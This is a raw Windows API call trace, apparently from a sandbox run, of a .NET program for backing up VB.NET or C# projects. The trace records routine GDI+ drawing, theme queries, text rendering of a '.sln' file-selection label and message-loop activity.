0x3 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23bbb20 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetFocus () returned 0x0 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] IsThemePartDefined () returned 0x1 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] IsAppThemed () returned 0x1 [0235.423] GetThemeAppProperties () returned 0x3 [0235.423] GetThemeAppProperties () returned 0x3 [0235.424] IsThemePartDefined () returned 0x1 [0235.424] GdipCreateRegion (region=0x52e804) returned 0x0 [0235.424] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0235.424] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0235.424] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0235.424] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0235.424] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.424] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c38) returned 0x0 [0235.424] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.424] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.424] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c38) returned 0x0 [0235.424] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.424] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0235.424] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0235.424] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0235.424] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0235.424] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0235.424] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0235.424] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.424] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.424] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.424] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.424] SaveDC (hdc=0x1b0106c4) returned 1 [0235.424] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x77040221 [0235.424] GetClipRgn (hdc=0x1b0106c4, hrgn=0x77040221) returned 0 [0235.424] SelectClipRgn (hdc=0x1b0106c4, hrgn=0x510401e4) returned 2 [0235.424] DeleteObject (ho=0x77040221) returned 1 [0235.424] DeleteObject (ho=0x510401e4) returned 1 [0235.424] OffsetViewportOrgEx (in: hdc=0x1b0106c4, x=0, y=0, lppt=0x23bc1d0 | out: lppt=0x23bc1d0) returned 1 [0235.425] DrawThemeParentBackground () returned 0x0 [0235.425] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0235.425] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0235.425] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0235.425] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0235.425] GetSystemMetrics (nIndex=42) returned 0 [0235.425] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0235.425] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0235.425] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0235.425] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.425] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.425] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.425] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.425] SaveDC (hdc=0x1b0106c4) returned 2 [0235.425] GetNearestColor (hdc=0x1b0106c4, color=0xf0f0f0) returned 0xf0f0f0 [0235.425] CreateSolidBrush (color=0xf0f0f0) returned 0x1b1006b3 [0235.425] FillRect (hDC=0x1b0106c4, lprc=0x52e314, hbr=0x1b1006b3) returned 1 [0235.425] DeleteObject (ho=0x1b1006b3) returned 1 [0235.425] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.425] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0235.425] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0235.425] GetSystemMetrics (nIndex=42) returned 0 [0235.425] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0235.425] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0235.425] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0235.425] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.426] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.426] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.426] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.426] SaveDC (hdc=0x1b0106c4) returned 2 [0235.426] GetNearestColor (hdc=0x1b0106c4, color=0xf0f0f0) returned 0xf0f0f0 [0235.426] CreateSolidBrush (color=0xf0f0f0) returned 0x1c1006b3 [0235.426] FillRect (hDC=0x1b0106c4, lprc=0x52e2b4, hbr=0x1c1006b3) returned 1 [0235.426] DeleteObject (ho=0x1c1006b3) returned 1 [0235.426] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.426] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0235.426] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0235.426] GetSystemMetrics (nIndex=42) returned 0 [0235.426] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0235.426] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0235.426] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.426] GdipReleaseDC (graphics=0x4da5930, hdc=0x1b0106c4) returned 0x0 [0235.426] IsAppThemed () returned 0x1 [0235.426] GetThemeAppProperties () returned 0x3 [0235.426] GetThemeAppProperties () returned 0x3 [0235.426] IsAppThemed () returned 0x1 [0235.426] GetThemeAppProperties () returned 0x3 [0235.426] GetThemeAppProperties () returned 0x3 [0235.426] IsThemePartDefined () returned 0x1 [0235.426] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0235.426] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0235.426] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0235.426] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0235.426] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0235.427] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.427] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c38) returned 0x0 [0235.427] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.427] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.427] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c38) returned 0x0 [0235.427] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.427] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0235.427] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0235.427] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0235.427] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0235.427] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0235.427] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0235.427] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.427] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.427] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.427] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.427] SaveDC (hdc=0x1b0106c4) returned 1 [0235.427] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x520401e4 [0235.427] GetClipRgn (hdc=0x1b0106c4, hrgn=0x520401e4) returned 0 [0235.427] SelectClipRgn (hdc=0x1b0106c4, hrgn=0x79040221) returned 2 [0235.427] DeleteObject (ho=0x520401e4) returned 1 [0235.427] DeleteObject (ho=0x79040221) returned 1 [0235.427] OffsetViewportOrgEx (in: hdc=0x1b0106c4, x=0, y=0, lppt=0x23bcc08 | out: lppt=0x23bcc08) returned 1 [0235.427] IsAppThemed () returned 0x1 [0235.427] GetThemeAppProperties () returned 0x3 [0235.427] GetThemeAppProperties () returned 0x3 [0235.427] DrawThemeBackground () returned 0x0 [0235.428] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.428] GdipReleaseDC (graphics=0x4da5930, hdc=0x1b0106c4) returned 0x0 [0235.428] GdipCreateRegion (region=0x52e790) returned 0x0 [0235.428] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0235.428] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0235.428] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0235.428] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0235.428] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.428] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c38) returned 0x0 [0235.428] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.428] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c38 [0235.428] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c38) returned 0x0 [0235.428] LocalFree (hMem=0x4fa4c38) returned 0x0 [0235.428] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0235.428] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0235.428] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0235.428] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0235.428] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0235.428] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0235.428] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.428] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.428] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.428] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.428] SaveDC (hdc=0x1b0106c4) returned 1 [0235.428] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7a040221 [0235.428] GetClipRgn (hdc=0x1b0106c4, hrgn=0x7a040221) returned 0 [0235.428] SelectClipRgn (hdc=0x1b0106c4, hrgn=0x530401e4) returned 2 [0235.428] DeleteObject (ho=0x7a040221) returned 1 [0235.428] DeleteObject (ho=0x530401e4) returned 1 [0235.428] OffsetViewportOrgEx (in: hdc=0x1b0106c4, x=0, y=0, lppt=0x23bcedc | out: lppt=0x23bcedc) returned 1 [0235.429] IsAppThemed () returned 0x1 [0235.429] GetThemeAppProperties () returned 0x3 [0235.429] GetThemeAppProperties () returned 0x3 [0235.429] GetThemeBackgroundContentRect () returned 0x0 [0235.429] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.429] GdipReleaseDC (graphics=0x4da5930, hdc=0x1b0106c4) returned 0x0 [0235.429] IsAppThemed () returned 0x1 [0235.429] GetThemeAppProperties () returned 0x3 [0235.429] GetThemeAppProperties () returned 0x3 [0235.429] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0235.429] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0235.429] GetCurrentObject (hdc=0x1b0106c4, type=0x1) returned 0x1b00017 [0235.429] GetCurrentObject (hdc=0x1b0106c4, type=0x2) returned 0x1900010 [0235.429] GetCurrentObject (hdc=0x1b0106c4, type=0x7) returned 0xa0506be [0235.429] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.429] SaveDC (hdc=0x1b0106c4) returned 1 [0235.429] GetTextAlign (hdc=0x1b0106c4) returned 0x0 [0235.429] GetTextColor (hdc=0x1b0106c4) returned 0x0 [0235.429] GetCurrentObject (hdc=0x1b0106c4, type=0x6) returned 0x18a002e [0235.429] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0235.429] SelectObject (hdc=0x1b0106c4, h=0xc0a01e7) returned 0x18a002e [0235.429] GetBkMode (hdc=0x1b0106c4) returned 2 [0235.429] SetBkMode (hdc=0x1b0106c4, mode=1) returned 2 [0235.429] DrawTextExW (in: hdc=0x1b0106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x23bd270 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0235.430] DrawTextExW (in: hdc=0x1b0106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x23bd270 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0235.430] RestoreDC (hdc=0x1b0106c4, nSavedDC=-1) returned 1 [0235.430] GdipReleaseDC (graphics=0x4da5930, hdc=0x1b0106c4) returned 0x0 [0235.430] GetFocus () returned 0x0 [0235.430] IsAppThemed () returned 0x1 [0235.430] GetThemeAppProperties () returned 0x3 [0235.430] GetThemeAppProperties () returned 0x3 [0235.430] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0235.430] BitBlt (hdc=0x1401007f, x=0, y=0, cx=163, cy=29, hdcSrc=0x1b0106c4, x1=0, y1=0, rop=0xcc0020) returned 1 [0235.430] GdipReleaseDC (graphics=0x4da5930, hdc=0x1b0106c4) returned 0x0 [0235.430] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0235.430] SelectObject (hdc=0x1b0106c4, h=0x185000f) returned 0xa0506be [0235.430] DeleteDC (hdc=0x1b0106c4) returned 1 [0235.430] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0235.430] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0235.430] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.430] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.430] WaitMessage () returned 1 [0235.535] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.535] IsWindowUnicode (hWnd=0x101a4) returned 1 [0235.535] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.535] TranslateMessage (lpMsg=0x52ef98) returned 0 [0235.535] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0235.535] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.535] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.535] WaitMessage () returned 1 [0235.726] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.726] IsWindowUnicode (hWnd=0x101a6) returned 1 [0235.726] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0235.726] TranslateMessage (lpMsg=0x52ef98) returned 0 [0235.726] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0235.726] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.726] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0235.726] WaitMessage () returned 1 [0236.631] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.632] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0236.632] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0236.648] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0236.648] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0236.648] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0236.648] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0236.649] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0236.649] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0236.649] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0236.649] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0236.649] NtdllDefWindowProc_W () returned 0x0 [0236.649] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0236.656] GetFocus () returned 0x0 [0236.656] SetFocus (hWnd=0x10186) returned 0x0 [0236.656] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0236.656] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0236.656] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0236.656] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0236.656] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0236.656] GetStockObject (i=5) returned 0x1900015 [0236.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0236.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x6571a8) returned 0x19 [0236.657] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0236.657] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0236.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0236.657] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0236.657] IsWindowUnicode (hWnd=0x10186) returned 1 [0236.657] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.657] TranslateMessage (lpMsg=0x52ef98) returned 0 [0236.657] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0236.657] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.657] IsWindowUnicode (hWnd=0x10186) returned 1 [0236.658] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.658] GetKeyState (nVirtKey=16) returned 0 [0236.658] GetKeyState (nVirtKey=17) returned 0 [0236.658] GetKeyState (nVirtKey=18) returned -128 [0236.658] TranslateMessage (lpMsg=0x52ef98) returned 1 [0236.658] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0236.658] GetKeyState (nVirtKey=16) returned 0 [0236.658] GetKeyState (nVirtKey=17) returned 0 [0236.658] GetKeyState (nVirtKey=18) returned -128 [0236.658] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0236.658] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.658] IsWindowUnicode (hWnd=0x10186) returned 1 [0236.658] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.658] GetKeyState (nVirtKey=16) returned 0 [0236.658] GetKeyState (nVirtKey=17) returned 0 [0236.658] GetKeyState (nVirtKey=18) returned 0 [0236.658] TranslateMessage (lpMsg=0x52ef98) returned 1 [0236.658] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0236.658] GetKeyState (nVirtKey=16) returned 0 [0236.658] GetKeyState (nVirtKey=17) returned 0 [0236.658] GetKeyState (nVirtKey=18) returned 0 [0236.658] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0236.658] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.658] IsWindowUnicode (hWnd=0x10186) returned 1 [0236.658] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.658] TranslateMessage (lpMsg=0x52ef98) returned 0 [0236.658] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0236.658] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x100107ec [0236.658] SelectPalette (hdc=0x100107ec, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0236.658] CreateCompatibleDC (hdc=0x100107ec) returned 0x280106c4 [0236.658] SelectObject (hdc=0x280106c4, h=0xa0506be) returned 0x185000f [0236.659] GdipCreateFromHDC (hdc=0x280106c4, graphics=0x52ea94) returned 0x0 [0236.659] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0236.659] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0236.659] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0236.659] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0236.659] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0236.659] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.659] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0236.659] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.659] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0236.659] GdipCreateRegion (region=0x52eadc) returned 0x0 [0236.659] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0236.659] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0236.659] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0236.659] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd970dbd) returned 0x0 [0236.659] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0236.659] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0236.659] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.659] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.659] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.659] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.659] SaveDC (hdc=0x280106c4) returned 1 [0236.659] GetNearestColor (hdc=0x280106c4, color=0xf0f0f0) returned 0xf0f0f0 [0236.660] GetNearestColor (hdc=0x280106c4, color=0xa0a0a0) returned 0xa0a0a0 [0236.660] GetNearestColor (hdc=0x280106c4, color=0x696969) returned 0x696969 [0236.660] GetNearestColor (hdc=0x280106c4, color=0xa0a0a0) returned 0xa0a0a0 [0236.660] GetNearestColor (hdc=0x280106c4, color=0x0) returned 0x0 [0236.660] GetNearestColor (hdc=0x280106c4, color=0xffffff) returned 0xffffff [0236.660] GetNearestColor (hdc=0x280106c4, color=0xe5e5e5) returned 0xe5e5e5 [0236.660] GetNearestColor (hdc=0x280106c4, color=0xd7d7d7) returned 0xd7d7d7 [0236.660] GetNearestColor (hdc=0x280106c4, color=0x0) returned 0x0 [0236.660] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.660] GdipReleaseDC (graphics=0x4da5930, hdc=0x280106c4) returned 0x0 [0236.660] IsAppThemed () returned 0x1 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] GetThemeAppProperties () returned 